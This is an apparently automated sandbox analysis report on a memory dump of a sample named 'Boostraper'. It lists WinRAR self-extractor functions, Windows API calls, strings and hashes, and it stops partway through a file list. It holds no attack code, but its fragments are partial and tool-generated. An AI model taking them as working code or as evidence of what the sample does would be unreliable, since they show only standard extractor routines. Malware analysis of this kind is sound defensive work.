Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: GlobalResource$Lock$AllocBitmapCreateFindFreeFromGdipLoadSizeofUnlock
String ID: PNG
API String ID: 4097654274-364855578
Opcode ID: fb26c8d1459009b3dd1705409c3ddcbd52377a3bbbe9d601880441ff438e309b
Instruction ID: 8958b7140651c25740e0796e77f1dfad53d69a555b097ccafc054c53c1767853
Opcode Fuzzy Hash: fb26c8d1459009b3dd1705409c3ddcbd52377a3bbbe9d601880441ff438e309b
Instruction Fuzzy Hash: BB319371244706AFC715AF61DC48E6BBFADFF86751B088529FA06D2260DB39DC00CBA5

Function 0077A5F4 Relevance: 7.6, APIs: 5, Instructions: 107
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0077A4EF,000000FF,?,?), ref: 0077A628
FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,0077A4EF,000000FF,?,?), ref: 0077A65E
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0077A4EF,000000FF,?,?), ref: 0077A66A
FindNextFileW.KERNEL32(?,?,?,?,?,?,0077A4EF,000000FF,?,?), ref: 0077A692
GetLastError.KERNEL32(?,?,?,?,0077A4EF,000000FF,?,?), ref: 0077A69E

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: c6701962b54469efb192a9178e588446c2d528b1c625a1a7144e5060cf4a1ae2
Instruction ID: 6373f9de38635e62a315f7256a199e3aea6b061086f010a3a0225df8c20ef0fa
Opcode Fuzzy Hash: c6701962b54469efb192a9178e588446c2d528b1c625a1a7144e5060cf4a1ae2
Instruction Fuzzy Hash: 49416572604241EFD724EF68C884ADFF7E8BF89384F044929F59DD3240D778A9548B92

Function 0079753D Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00797513,00000000,007ABAD8,0000000C,0079766A,00000000,00000002,00000000), ref: 0079755E
TerminateProcess.KERNEL32(00000000,?,00797513,00000000,007ABAD8,0000000C,0079766A,00000000,00000002,00000000), ref: 00797565
ExitProcess.KERNEL32 ref: 00797577

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: ced687f6d4c3c3b39d3900068771db43eb7acd395e411bb9428523e6dff91471
Instruction ID: cc392b04a41ea7a3fab7dd76d30f3e8a272784b0ec4dbfd95d2389714ed8234d
Opcode Fuzzy Hash: ced687f6d4c3c3b39d3900068771db43eb7acd395e411bb9428523e6dff91471
Instruction Fuzzy Hash: 34E0B631114948EBCF55AF64ED0DA493B6AEB82741F11C414F9098A222DB3DDE52CA94

Function 0077857B Relevance: 3.9, APIs: 2, Instructions: 947COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00778580
_memcmp.LIBVCRUNTIME ref: 00778A08

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: H_prolog_memcmp
String ID:
API String ID: 3004599000-0
Opcode ID: 4eb198ff1e29cc8fd6a2dfca2ba91d854f4073f55378db137775a0b7ed237881
Instruction ID: f6f7defa34dbf4785264ee4c730c1977fbee242c0d07e5ce388639ffaecee1c7
Opcode Fuzzy Hash: 4eb198ff1e29cc8fd6a2dfca2ba91d854f4073f55378db137775a0b7ed237881
Instruction Fuzzy Hash: 17823C70944245EEDF65DB64C889BFABBB9BF05380F08C0B9D94D9B143DB385A44CB61

Function 0078AEE0 Relevance: 98.7, APIs: 47, Strings: 9, Instructions: 724COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0078AEE5

Part of subcall function 0077130B: GetDlgItem.USER32(00000000,00003021), ref: 0077134F
Part of subcall function 0077130B: SetWindowTextW.USER32(00000000,007A35B4), ref: 00771365

Strings

-el -s2 "-d%s" "-sp%s", xrefs: 0078B281
__tmp_rar_sfx_access_check_%u, xrefs: 0078B1CB
<, xrefs: 0078B29A
C:\Users\user\Desktop, xrefs: 0078B2DF
LICENSEDLG, xrefs: 0078B771
STARTDLG, xrefs: 0078AF04
@, xrefs: 0078B2A7
"%s"%s, xrefs: 0078B423
winrarsfxmappingfile.tmp, xrefs: 0078B2BC

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: H_prologItemTextWindow
String ID: "%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 810644672-1775577126
Opcode ID: fa614a5fafc9d51b509bd3341dc031ef6297e56674f5ccf195021f34f73b5036
Instruction ID: a03a02c0c7d75cad560ff6db795f12aea1a8fe60dff6655981ed2ae76edc149f
Opcode Fuzzy Hash: fa614a5fafc9d51b509bd3341dc031ef6297e56674f5ccf195021f34f73b5036
Instruction Fuzzy Hash: FB42D4B0984244BEEB21BFB49C8EFBE7B7CAB11740F008156F605A6192CB7C5D45CB66

Function 007800CF Relevance: 98.3, APIs: 22, Strings: 34, Instructions: 317
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 007800E4
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 007800F6
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00780127
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 007803D4
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007803F0
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00780402
ReadFile.KERNEL32(00000000,?,00007FFE,007A3BA4,00000000), ref: 00780421
CloseHandle.KERNEL32(00000000), ref: 00780479
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 0078048F
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,?,00000000,?,00000800), ref: 007804E7
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00000000,?,00000800), ref: 00780510
GetFileAttributesW.KERNEL32(?,?,?,00000800), ref: 0078054A

Part of subcall function 00780085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 007800A0
Part of subcall function 00780085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0077EB86,Crypt32.dll,00000000,0077EC0A,?,?,0077EBEC,?,?,?), ref: 007800C2

_swprintf.LIBCMT ref: 007805BE
_swprintf.LIBCMT ref: 0078060A

Part of subcall function 0077400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0077401D

AllocConsole.KERNEL32 ref: 00780612
GetCurrentProcessId.KERNEL32 ref: 0078061C
AttachConsole.KERNEL32(00000000), ref: 00780623
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00780649
WriteConsoleW.KERNEL32(00000000), ref: 00780650
Sleep.KERNEL32(00002710), ref: 0078065B
FreeConsole.KERNEL32 ref: 00780661
ExitProcess.KERNEL32 ref: 00780669

Strings

?z, xrefs: 007802AA
dwmapi.dll, xrefs: 00780581
DAz, xrefs: 0078039C
kernel32, xrefs: 007800DD
(@z, xrefs: 00780323
<z, xrefs: 0078018C
T?z, xrefs: 007802C0
\Az, xrefs: 007803A7
X@z, xrefs: 00780339
p@z, xrefs: 00780344
>z, xrefs: 00780289
0Az, xrefs: 00780391
(>z, xrefs: 0078023C
@@z, xrefs: 0078032E
8<z, xrefs: 00780194
SetDefaultDllDirectories, xrefs: 00780121
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 007805F8
T;z, xrefs: 00780154
P<z, xrefs: 0078019C
`=z, xrefs: 007801FC
4=z, xrefs: 007801EC
x=z, xrefs: 00780204
<?z, xrefs: 007802B5
p>z, xrefs: 0078025D
|<z, xrefs: 007801AC
@>z, xrefs: 00780247
SetDllDirectoryW, xrefs: 007800F0
?z, xrefs: 00780302
p?z, xrefs: 007802CB
uxtheme.dll, xrefs: 0078058B
l<z, xrefs: 0078055C
D=z, xrefs: 007801F4
DXGIDebug.dll, xrefs: 00780169, 007804D3
X>z, xrefs: 00780252

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l
String ID: <z$ ?z$(>z$(@z$0Az$4=z$8<z$<?z$@>z$@@z$D=z$DAz$DXGIDebug.dll$P<z$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$T;z$T?z$X>z$X@z$\Az$`=z$dwmapi.dll$kernel32$l<z$p>z$p?z$p@z$uxtheme.dll$x=z$|<z$>z$?z
API String ID: 1201351596-2178023433
Opcode ID: f84bb710fa368e5118d371e532c4bc72feb602887032c230661748faf32f5c90
Instruction ID: 4f9d9eaf09b8cf2977714844f6ed4687a52506298a8754774e2e14dc81dcee06
Opcode Fuzzy Hash: f84bb710fa368e5118d371e532c4bc72feb602887032c230661748faf32f5c90
Instruction Fuzzy Hash: DDD184B1548384EBD730AF50D849B9FBAE9FBC6704F004A2DF68996140D7BC86088F66

Function 0078BDF5 Relevance: 31.9, APIs: 14, Strings: 4, Instructions: 429
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0078BDFA

Part of subcall function 0078AA36: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0078AAFE

SetWindowTextW.USER32(?,?), ref: 0078C127
_wcsrchr.LIBVCRUNTIME ref: 0078C2B1
GetDlgItem.USER32(?,00000066), ref: 0078C2EC
SetWindowTextW.USER32(00000000,?), ref: 0078C2FC
SendMessageW.USER32(00000000,00000143,00000000,007BA472), ref: 0078C30A
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0078C335

Strings

<br>, xrefs: 0078C08A
ProgramFilesDir, xrefs: 0078C1FB
Software\Microsoft\Windows\CurrentVersion, xrefs: 0078C1D0
%s.%d.tmp, xrefs: 0078BFF6

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 3564274579-312220925
Opcode ID: ec36544a2bc23c90d40ddcda1509ae6ac8310782f41353bab6ebef03f1f624de
Instruction ID: 2df583933d76a20887798193f94a4b6f346187a9132a225b8301db28973f98fe
Opcode Fuzzy Hash: ec36544a2bc23c90d40ddcda1509ae6ac8310782f41353bab6ebef03f1f624de
Instruction Fuzzy Hash: 36E17572D40518EADF25EBA0DC49EEF777CAF19350F0080A6F609E3051EB789A84CB65

Function 0077D341 Relevance: 25.1, APIs: 4, Strings: 10, Instructions: 555
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0077D346
_wcschr.LIBVCRUNTIME ref: 0077D367
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,0077D328,?), ref: 0077D382
__fprintf_l.LIBCMT ref: 0077D873

Part of subcall function 0078137A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0077B652,00000000,?,?,?,00010456), ref: 00781396

Strings

$%s:, xrefs: 0077D856
*messages***, xrefs: 0077D4D3
a, xrefs: 0077D4EF
RTL, xrefs: 0077D838
$9z, xrefs: 0077D6AF
, xrefs: 0077D67A
R, xrefs: 0077D4E5
,, xrefs: 0077D8AE
@%s:, xrefs: 0077D85D, 0077D869
*messages***, xrefs: 0077D49A

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
String ID: $ ,$$%s:$$9z$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 4184910265-1166921159
Opcode ID: c45714f96b396b9117a34b6e4809c93b20b7dfdc2a9e49d2d3904c751e5001a2
Instruction ID: c7c14e88e809b473a77f61de52f5b41a0ba64ad4c3d92f518a9f7d833ef00045
Opcode Fuzzy Hash: c45714f96b396b9117a34b6e4809c93b20b7dfdc2a9e49d2d3904c751e5001a2
Instruction Fuzzy Hash: E712C3B1900219DADF34DFA4DC85AEEB7B5EF44384F108569F609A7181EB78AE40CB64

Function 0078CB5A Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0078AC74: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0078AC85
Part of subcall function 0078AC74: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0078AC96
Part of subcall function 0078AC74: IsDialogMessageW.USER32(00010456,?), ref: 0078ACAA
Part of subcall function 0078AC74: TranslateMessage.USER32(?), ref: 0078ACB8
Part of subcall function 0078AC74: DispatchMessageW.USER32(?), ref: 0078ACC2

GetDlgItem.USER32(00000068,007CECB0), ref: 0078CB6E
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,0078A632,00000001,?,?,0078AECB,007A4F88,007CECB0), ref: 0078CB96
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0078CBA1
SendMessageW.USER32(00000000,000000C2,00000000,007A35B4), ref: 0078CBAF
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0078CBC5
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 0078CBDF
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0078CC23
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 0078CC31
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0078CC40
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0078CC67
SendMessageW.USER32(00000000,000000C2,00000000,007A431C), ref: 0078CC76

Strings

\, xrefs: 0078CBCF

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 366dbb8f218a03098e65f9a561117bcb5b6d0092bdb47cb031d0918b8887c551
Instruction ID: 466aa4cb9cbbf3a3ee85ed9189acbfbae5b3ec9cedd400d0663e8d73ed7022fe
Opcode Fuzzy Hash: 366dbb8f218a03098e65f9a561117bcb5b6d0092bdb47cb031d0918b8887c551
Instruction Fuzzy Hash: 4131D371186741AFE301DF20DC8AFAB7FBCEB92704F00860AF65196192DB695906C77A

Function 0078CE22 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32(?), ref: 0078CF54
ShowWindow.USER32(?,00000000), ref: 0078CF93
GetExitCodeProcess.KERNEL32(?,?), ref: 0078CFCF
CloseHandle.KERNEL32(?), ref: 0078CFF5
ShowWindow.USER32(?,00000001), ref: 0078D084

Part of subcall function 007817AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0077BB05,00000000,.exe,?,?,00000800,?,?,007885DF,?), ref: 007817C2

Strings

.exe, xrefs: 0078CFFF
.inf, xrefs: 0078CF10
, xrefs: 0078CEA2

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ShowWindow$CloseCodeCompareExecuteExitHandleProcessShellString
String ID: $.exe$.inf
API String ID: 3686203788-2452507128
Opcode ID: e4784c7bdf1ae2ec7cf9e6840c112654a590e16b7c2afe330e4fc614c526ea73
Instruction ID: f59d14a47cab32fe1c3976b876784273ba7da0652f5039f9d9fafcad2ee260f9
Opcode Fuzzy Hash: e4784c7bdf1ae2ec7cf9e6840c112654a590e16b7c2afe330e4fc614c526ea73
Instruction Fuzzy Hash: 5061F9714843809AE732BF24D804AABBBF9EF85344F04881DF5C597191D7BD8D86CB66

Function 0079A058 Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00794E35,00794E35,?,?,?,0079A2A9,00000001,00000001,3FE85006), ref: 0079A0B2
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0079A2A9,00000001,00000001,3FE85006,?,?,?), ref: 0079A138
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,3FE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0079A232
__freea.LIBCMT ref: 0079A23F

Part of subcall function 00798518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0079C13D,00000000,?,007967E2,?,00000008,?,007989AD,?,?,?), ref: 0079854A

__freea.LIBCMT ref: 0079A248
__freea.LIBCMT ref: 0079A26D

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 9de3bd9c7d3b09a49ce8689f8250fb88f7f7cfea50e1b8dcef520e9db1b70e06
Instruction ID: 29c8a3e0c361d85b9fcee3314b963366d1831c52c8c96b12ad1268eca3d55f8c
Opcode Fuzzy Hash: 9de3bd9c7d3b09a49ce8689f8250fb88f7f7cfea50e1b8dcef520e9db1b70e06
Instruction Fuzzy Hash: 6F51C272611216BFDF258F64EC45EBB77AAEB81750F154229FC04D6180EB39DC4086E2

Function 0078A2C7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 0078A2DE
SHAutoComplete.SHLWAPI(?,00000010), ref: 0078A315

Part of subcall function 007817AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0077BB05,00000000,.exe,?,?,00000800,?,?,007885DF,?), ref: 007817C2

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 0078A305

Strings

@UJu, xrefs: 0078A315
EDIT, xrefs: 0078A2E9, 0078A2F4, 0078A301

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: @UJu$EDIT
API String ID: 4243998846-1013725496
Opcode ID: 606e32ba24d6d04db8d60cb901ab1a0130dad6c74c8a27553c77c5e4d28b0615
Instruction ID: 8f2eed89d24e0d342f656c7a0487076d425a77f25e69906a7d365483ff286ce6
Opcode Fuzzy Hash: 606e32ba24d6d04db8d60cb901ab1a0130dad6c74c8a27553c77c5e4d28b0615
Instruction Fuzzy Hash: 57F08232A4222C7BE72066659C09F9B776C9B46B10F484167BD05A2181D7689943C6FA

Function 007799B0 Relevance: 7.6, APIs: 5, Instructions: 117
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,?,00000000,?,00000000,?,?,007778AD,?,00000005,?,00000011), ref: 00779A4C
GetLastError.KERNEL32(?,?,007778AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00779A59
CreateFileW.KERNEL32(?,?,?,00000000,00000003,?,00000000,?,?,00000800,?,?,007778AD,?,00000005,?), ref: 00779A8E
GetLastError.KERNEL32(?,?,007778AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00779A96
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,007778AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00779ADB

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
